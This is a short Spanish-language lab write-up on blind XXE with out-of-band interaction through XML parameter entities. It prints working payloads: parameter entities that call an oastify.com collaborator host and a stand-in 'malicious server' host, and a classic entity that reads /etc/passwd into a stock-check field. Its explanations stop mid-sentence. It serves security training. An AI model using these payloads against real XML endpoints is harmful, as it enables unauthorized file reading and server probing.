
Lab: Blind XXE with out-of-band interaction via XML parameter entities
En el sitio web encontraremos un apartado para revisar el stock de los productos.

En este podemos inyectar un xml malicioso y hacer las peticiones a nusetro servidor.
c
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://k2n9t31uxg9so8754k3jyfcqyh48sygn.oastify.com"> %xxe; ]>
c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://k2n9t31uxg9so8754k3jyfcqyh48sygn.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Diferencias entre XXE Interno vs XXE Clásico
Interno
c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
<!ENTITY % xxe SYSTEM "http://mi-servidor-malicioso.com/xxe-test">
%xxe;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>- La aplicación recibe este XML
- Al procesarlo, inmediatamente ve la DTD y la entidad %xxe;
- Intenta cargar la URL: http://mi-servidor-malicioso.com/xxe-test
- Tú, como atacante, ves en tus logs del servidor malicioso:
Clásico
c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>1&xxe;</productId>
<storeId>1</storeId>
</stockCheck>- La aplicación recibe el XML
- Procesa la DTD pero no hace nada aún
- Cuando llega a
<productId>1&xxe;</productId>, reemplaza&xxe;con el contenido del archivo /etc/passwd - Si la aplicación muestra el productId en la respuesta, verías: